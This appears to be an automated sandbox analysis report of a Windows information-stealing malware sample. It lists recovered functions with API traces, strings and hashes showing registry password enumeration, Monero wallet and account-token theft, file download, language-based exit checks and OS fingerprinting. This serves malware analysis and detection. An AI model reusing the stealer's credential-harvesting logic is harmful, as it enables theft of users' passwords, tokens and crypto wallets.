__aulldiv.LIBCMT ref: 00FC8180
wsprintfA.USER32 ref: 00FC81AC

Strings

%d MB, xrefs: 00FC81A3
@, xrefs: 00FC814D

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: c77d5160bdd87b00ed9b2e92be8bd04c36e70186c9c0c0825b934167462c6028
Instruction ID: 00f8227bec764aa5c044994e60427cfc4bdd326b9b026d8d146876532eb5f935
Opcode Fuzzy Hash: c77d5160bdd87b00ed9b2e92be8bd04c36e70186c9c0c0825b934167462c6028
Instruction Fuzzy Hash: 5F218CB1E44209ABDB14DFD4DD4AFAEB7B8FB44B10F10421DF615BB280D778A9018BA5

Function 00FB60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
Part of subcall function 00FB47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

InternetOpenA.WININET(00FD0DF7,00000001,00000000,00000000,00000000), ref: 00FB610F
StrCmpCA.SHLWAPI(?,00C8EAA8), ref: 00FB6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00FB618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00FB61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00FB61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00FB620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00FB6249
InternetCloseHandle.WININET(?), ref: 00FB6253
InternetCloseHandle.WININET(00000000), ref: 00FB6260

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 4541cf59bd92c7ac95b667c4b480d551da3a26fcc99383abbaa8b3b80e1910f7
Instruction ID: b65d145182a00c5ee008aadc94df76d73bf74b2ba94291cc5c644902d26f0fb9
Opcode Fuzzy Hash: 4541cf59bd92c7ac95b667c4b480d551da3a26fcc99383abbaa8b3b80e1910f7
Instruction Fuzzy Hash: C8518EB1900208ABEF24DF51DD45FEE77B8FF04705F1081A8A60AA71C0DB796A85DF95

Function 00FB72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00FB733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00FB73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00FB740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00FB7452
HeapFree.KERNEL32(00000000), ref: 00FB7459
task.LIBCPMTD ref: 00FB7555

Strings

Password, xrefs: 00FB7401

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: b66d33c03dbe9038ace781819b2810ee292cef585972a13295d1919912a2a705
Instruction ID: ca6c004be3d4bf12ed9d75d0622ae9f63c8de8e69a5327280ad10a2a78b4ee86
Opcode Fuzzy Hash: b66d33c03dbe9038ace781819b2810ee292cef585972a13295d1919912a2a705
Instruction Fuzzy Hash: 70613BB5D04218DBDB24EB51DC41BDAB7BCBF84340F0481E9E649A6141DBB46BCADFA0

Function 00FBBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

lstrlen.KERNEL32(00000000), ref: 00FBBC9F

Part of subcall function 00FC8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FC8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00FBBCCD
lstrlen.KERNEL32(00000000), ref: 00FBBDA5
lstrlen.KERNEL32(00000000), ref: 00FBBDB9

Strings

AccountId, xrefs: 00FBBCC4
AccountTokens, xrefs: 00FBBB49
AccountTokens, xrefs: 00FBBABA
SELECT service, encrypted_token FROM token_service, xrefs: 00FBBBEB

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: fb89c1da0a3f09ae4bb1f766bb2946b1b60dede075dd9da8260d59b979a47bd9
Instruction ID: a51ce2b73a4cf7ebe56c2d20a99202afffab2bc7b50eb761c0f66ca3273cba1f
Opcode Fuzzy Hash: fb89c1da0a3f09ae4bb1f766bb2946b1b60dede075dd9da8260d59b979a47bd9
Instruction Fuzzy Hash: 78B13C7191010DABDB18EBA0DE97EEE7339AF54304F40416DF506A2191EF387A49EB62

Function 00FC6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00FC6774
ExitProcess.KERNEL32 ref: 00FC67A5
ExitProcess.KERNEL32 ref: 00FC67AF
ExitProcess.KERNEL32 ref: 00FC67B9
ExitProcess.KERNEL32 ref: 00FC67C3
ExitProcess.KERNEL32 ref: 00FC67CD

Strings

*, xrefs: 00FC678C

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: b6794f2f294954c878756eb2de0bb20f6e40f75ada013123eab3e499736f3f08
Instruction ID: bf75e267b24a55d6e94fc4aaaad23d767657d932b734e71f4e980dfafb790b36
Opcode Fuzzy Hash: b6794f2f294954c878756eb2de0bb20f6e40f75ada013123eab3e499736f3f08
Instruction Fuzzy Hash: 81F03A30908209EFD3589FE0B50AF2C7B74FF05703F0402ACE61A87284DA795A829BD5

Function 00FB4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FB4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00FB4FD1
InternetOpenA.WININET(00FD0DDF,00000000,00000000,00000000,00000000), ref: 00FB4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00FB5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00FB5041
InternetCloseHandle.WININET(?), ref: 00FB50B9
InternetCloseHandle.WININET(?), ref: 00FB50C6

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 78851dbb05e316a93b3154b1d2f11d9a8e35b1269bdc614a0f91cac252af43f0
Instruction ID: 8e4f2763b579c8e6fb8273620c7340c2ddc1f97efe29b7456092106bb28a5325
Opcode Fuzzy Hash: 78851dbb05e316a93b3154b1d2f11d9a8e35b1269bdc614a0f91cac252af43f0
Instruction Fuzzy Hash: F83107B5A00218ABDB24DF54DC85BDCB7B4EB48704F1081E9EA09A7284DB746AC59F98

Function 00FC83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00FC8426
wsprintfA.USER32 ref: 00FC8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00FC847B
RegCloseKey.ADVAPI32(00000000), ref: 00FC848C
RegCloseKey.ADVAPI32(00000000), ref: 00FC8499

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

RegQueryValueExA.ADVAPI32(00000000,00C8E140,00000000,000F003F,?,00000400), ref: 00FC84EC
lstrlen.KERNEL32(?), ref: 00FC8501
RegQueryValueExA.ADVAPI32(00000000,00C8DEA0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00FD0B34), ref: 00FC8599
RegCloseKey.ADVAPI32(00000000), ref: 00FC8608
RegCloseKey.ADVAPI32(00000000), ref: 00FC861A

Strings

%s\%s, xrefs: 00FC844D

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 6e79f133d0271ac4b03d537eae4a36bb6873edd220c28fbc7d9adb41f3eb977e
Instruction ID: a0f56f12b7bafc7a6723ede84cd0815d23656aed3b10fdc6d536dc5ab5ac88c8
Opcode Fuzzy Hash: 6e79f133d0271ac4b03d537eae4a36bb6873edd220c28fbc7d9adb41f3eb977e
Instruction Fuzzy Hash: F321F671900218ABDB28DB54DD85FE9B3B8FF48710F0081A9A609A7180DF75AA86DF94

Function 00FC7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00FC76AB
RegOpenKeyExA.ADVAPI32(80000002,00C7C4A8,00000000,00020119,00000000), ref: 00FC76DD
RegQueryValueExA.ADVAPI32(00000000,00C8E128,00000000,00000000,?,000000FF), ref: 00FC76FE
RegCloseKey.ADVAPI32(00000000), ref: 00FC7708

Strings

Windows 11, xrefs: 00FC76BD

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 75b613ee5e58426824e5107e93271ce694a4564e5babf4d62aa56dde8f58a476
Instruction ID: b1cde68706288d3a1ac3c1337e2e66bc3273b450f7a8a01b84dc80f77cb100a5
Opcode Fuzzy Hash: 75b613ee5e58426824e5107e93271ce694a4564e5babf4d62aa56dde8f58a476
Instruction Fuzzy Hash: 2B018FB5A04309BBD714EBE0E94AF69B7B8EF48701F00406CFA19D7284D6B8A9409F50

Function 00FC7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7734
RtlAllocateHeap.NTDLL(00000000), ref: 00FC773B
RegOpenKeyExA.ADVAPI32(80000002,00C7C4A8,00000000,00020119,00FC76B9), ref: 00FC775B
RegQueryValueExA.ADVAPI32(00FC76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00FC777A
RegCloseKey.ADVAPI32(00FC76B9), ref: 00FC7784

Strings

CurrentBuildNumber, xrefs: 00FC7771

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: fae3a863ae4e7840138d1a73af95a7e73b391f07716f227c5717ea9ff7f39994
Instruction ID: fda3c497a9e31a172258c22a7ec3b588f8c14ddf4bbdc89e07348c5728351167
Opcode Fuzzy Hash: fae3a863ae4e7840138d1a73af95a7e73b391f07716f227c5717ea9ff7f39994
Instruction Fuzzy Hash: 1F0144B5A40308BBD714DBE0EC4AFAEB7B8EF48701F00416DFA19A7285DAB565408B51

Function 00FB99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FB99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FB9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00FB9A31
ReadFile.KERNEL32(000000FF,?,00000000,00FB148F,00000000), ref: 00FB9A5A
LocalFree.KERNEL32(00FB148F), ref: 00FB9A90
CloseHandle.KERNEL32(000000FF), ref: 00FB9A9A

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 7ee98bfbb9c8651efb1669a9693e4432d7089b52c4d57a15c30d65af3cd732dc
Instruction ID: 43a6e8938df574d92546ac7bce625e0e450e6e1e46110fc13c804e3c9ddeb89c
Opcode Fuzzy Hash: 7ee98bfbb9c8651efb1669a9693e4432d7089b52c4d57a15c30d65af3cd732dc
Instruction Fuzzy Hash: 8C313874E00209EFDB24CF95D985BEE77B8FF48310F108158E915A7290D778A981DFA0

Function 00FC4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00C8E2D8), ref: 00FC47DB

Part of subcall function 00FC8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FC8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FC4801
lstrcat.KERNEL32(?,?), ref: 00FC4820
